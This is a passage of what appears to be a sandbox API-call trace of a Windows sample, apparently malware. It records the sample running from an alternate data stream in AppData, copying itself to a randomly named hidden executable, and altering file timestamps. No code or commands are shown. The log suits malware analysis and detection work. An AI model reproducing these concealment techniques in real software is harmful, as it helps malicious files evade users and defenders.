dwFlags=0x0) returned 1 [0230.190] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.191] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.191] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.191] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.192] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.192] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.192] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.193] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.193] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.193] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.194] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.194] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.194] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.195] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.195] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.195] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.195] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.196] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.196] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.196] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.196] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.196] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.197] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.197] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.197] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.198] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.198] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.198] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.199] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.199] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.199] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.200] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.200] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.200] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.201] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.201] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.201] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.201] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.201] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.201] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.202] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.202] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.202] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.203] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.203] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.203] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.204] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.204] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.204] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.205] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.205] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.205] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.206] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.206] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.206] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.207] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.207] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.207] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.208] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.208] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.208] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.208] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.208] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.208] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.209] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.209] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.210] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e840) returned 1 [0230.210] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e840 [0230.210] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMiq0azgWCQt.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln\\3ocmiq0azgwcqt.exe"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0x350000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x18fcb0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x18f9b4)) returned 0 [0230.210] GetLastError () returned 0x2 [0230.211] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMiq0azgWCQt.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln\\3ocmiq0azgwcqt.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x150 [0230.215] SetFileTime (hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 1 [0230.215] NtClose (Handle=0x150) returned 0x0 [0230.215] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x800) returned 0x2183058 [0230.215] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMiq0azgWCQt.exe", lpszShortPath=0x2183058, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE") returned 0x37 [0230.216] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMiq0azgWCQt.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln\\3ocmiq0azgwcqt.exe"), fInfoLevelId=0x0, lpFileInformation=0x18f95c | out: lpFileInformation=0x18f95c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9fa8ddd0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x9fa8ddd0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x9fa8ddd0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0230.216] SetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMiq0azgWCQt.exe", dwFileAttributes=0x80) returned 1 [0230.216] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMiq0azgWCQt.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln\\3ocmiq0azgwcqt.exe")) returned 1 [0230.216] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2183058) returned 1 [0230.216] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e840) returned 1 [0230.216] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x21899a8 [0230.216] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x800) returned 0x2183058 [0230.216] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2183058, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\j4ojat~1:bin")) returned 0x2e [0230.216] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e840 [0230.217] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\j4ojat~1:bin"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x9cfdb330, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x9cfdb330, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x9cfdb330, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x27000)) returned 1 [0230.217] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\j4ojat~1:bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150 [0230.217] SetFileTime (hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 0 [0230.217] GetFileSize (in: hFile=0x150, lpFileSizeHigh=0x18f94c | out: lpFileSizeHigh=0x18f94c*=0x0) returned 0x27000 [0230.217] SetFilePointer (in: hFile=0x150, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0230.217] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x27000) returned 0x2189e98 [0230.220] ReadFile (in: hFile=0x150, lpBuffer=0x2189e98, nNumberOfBytesToRead=0x27000, lpNumberOfBytesRead=0x18f98c, lpOverlapped=0x0 | out: lpBuffer=0x2189e98*, lpNumberOfBytesRead=0x18f98c*=0x27000, lpOverlapped=0x0) returned 1 [0230.221] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x27000) returned 0x21b0ea0 [0230.341] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189e98) returned 1 [0230.341] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x27000) returned 0x2189e98 [0230.342] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21899a8) returned 1 [0230.342] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21b0ea0) returned 1 [0230.342] NtClose (Handle=0x150) returned 0x0 [0230.342] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e840) returned 1 [0230.342] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2183058) returned 1 [0230.343] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e840 [0230.343] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln\\3ocmiq~1.exe"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0x350000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x18fcb0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x18f9b4)) returned 0 [0230.343] GetLastError () returned 0x2 [0230.343] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln\\3ocmiq~1.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x150 [0230.343] SetFileTime (hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 1 [0230.344] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x21899a8 [0230.344] CryptAcquireContextW (in: phProv=0x18f970, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f970*=0x526610) returned 1 [0230.344] CryptGenRandom (in: hProv=0x526610, dwLen=0xb, pbBuffer=0x21899a8 | out: pbBuffer=0x21899a8) returned 1 [0230.345] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.345] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x184) returned 0x2183058 [0230.345] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189960 [0230.345] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189918 [0230.345] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x21898d0 [0230.345] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189888 [0230.345] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189840 [0230.345] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x21897f8 [0230.345] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x21897b0 [0230.345] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189768 [0230.345] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189720 [0230.345] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x21896d8 [0230.345] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189690 [0230.345] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189648 [0230.345] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x21894e0 [0230.345] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189600 [0230.345] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x21895b8 [0230.345] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189570 [0230.345] WriteFile (in: hFile=0x150, lpBuffer=0x21899a8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x18f98c, lpOverlapped=0x0 | out: lpBuffer=0x21899a8*, lpNumberOfBytesWritten=0x18f98c*=0xb, lpOverlapped=0x0) returned 1 [0230.346] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21899a8) returned 1 [0230.346] WriteFile (in: hFile=0x150, lpBuffer=0x2189ea3*, nNumberOfBytesToWrite=0x26ff5, lpNumberOfBytesWritten=0x18f98c, lpOverlapped=0x0 | out: lpBuffer=0x2189ea3*, lpNumberOfBytesWritten=0x18f98c*=0x26ff5, lpOverlapped=0x0) returned 1 [0230.349] NtClose (Handle=0x150) returned 0x0 [0230.349] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln\\3ocmiq~1.exe"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9fbbe8d0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x9fbbe8d0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x9fbbe8d0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x27000)) returned 1 [0230.350] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln\\3ocmiq~1.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x150 [0230.350] SetFileTime (hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 1 [0230.350] WriteFile (in: hFile=0x150, lpBuffer=0x2189e9b*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18f98c, lpOverlapped=0x0 | out: lpBuffer=0x2189e9b*, lpNumberOfBytesWritten=0x18f98c*=0x1, lpOverlapped=0x0) returned 1 [0230.350] WriteFile (in: hFile=0x150, lpBuffer=0x2189e99*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x18f98c, lpOverlapped=0x0 | out: lpBuffer=0x2189e99*, lpNumberOfBytesWritten=0x18f98c*=0xa, lpOverlapped=0x0) returned 1 [0230.350] NtClose (Handle=0x150) returned 0x0 [0230.350] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln\\3ocmiq~1.exe"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9fbbe8d0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x9fbbe8d0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x9fbbe8d0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x27000)) returned 1 [0230.350] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln\\3ocmiq~1.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x150 [0230.350] SetFileTime (hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 1 [0230.350] WriteFile (in: hFile=0x150, lpBuffer=0x2189e98*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18f98c, lpOverlapped=0x0 | out: lpBuffer=0x2189e98*, lpNumberOfBytesWritten=0x18f98c*=0x1, lpOverlapped=0x0) returned 1 [0230.351] NtClose (Handle=0x150) returned 0x0 [0230.351] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e840) returned 1 [0230.351] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189e98) returned 1 [0230.351] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e840 [0230.351] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0230.351] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e9d8 [0230.351] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0230.351] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x100) returned 0x21831e8 [0230.351] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e840) returned 1 [0230.351] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e9d8) returned 1 [0230.351] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x100) returned 0x21832f0 [0230.351] GetSystemDirectoryW (in: lpBuffer=0x21832f0, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0230.352] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21832f0) returned 1 [0230.352] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e9d8 [0230.352] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e840 [0230.352] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0230.352] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e950 [0230.352] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35ea60 [0230.352] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35ea60) returned 1 [0230.352] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x100) returned 0x21832f0 [0230.352] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e950) returned 1 [0230.352] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e950 [0230.352] CryptAcquireContextW (in: phProv=0x18fb70, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb70*=0x526610) returned 1 [0230.353] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18fb84 | out: pbBuffer=0x18fb84) returned 1 [0230.353] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.353] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35ea60 [0230.353] CryptAcquireContextW (in: phProv=0x18fb6c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb6c*=0x526610) returned 1 [0230.354] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18fb80 | out: pbBuffer=0x18fb80) returned 1 [0230.354] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.354] CryptAcquireContextW (in: phProv=0x18fb6c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb6c*=0x526610) returned 1 [0230.355] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18fb80 | out: pbBuffer=0x18fb80) returned 1 [0230.355] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.355] CryptAcquireContextW (in: phProv=0x18fb6c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb6c*=0x526610) returned 1 [0230.356] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18fb80 | out: pbBuffer=0x18fb80) returned 1 [0230.356] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.356] CryptAcquireContextW (in: phProv=0x18fb6c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb6c*=0x526610) returned 1 [0230.357] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18fb80 | out: pbBuffer=0x18fb80) returned 1 [0230.357] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.357] CryptAcquireContextW (in: phProv=0x18fb6c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb6c*=0x526610) returned 1 [0230.357] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18fb80 | out: pbBuffer=0x18fb80) returned 1 [0230.358] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.358] CryptAcquireContextW (in: phProv=0x18fb6c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb6c*=0x526610) returned 1 [0230.358] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18fb80 | out: pbBuffer=0x18fb80) returned 1 [0230.358] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.358] CryptAcquireContextW (in: phProv=0x18fb6c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb6c*=0x526610) returned 1 [0230.359] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, 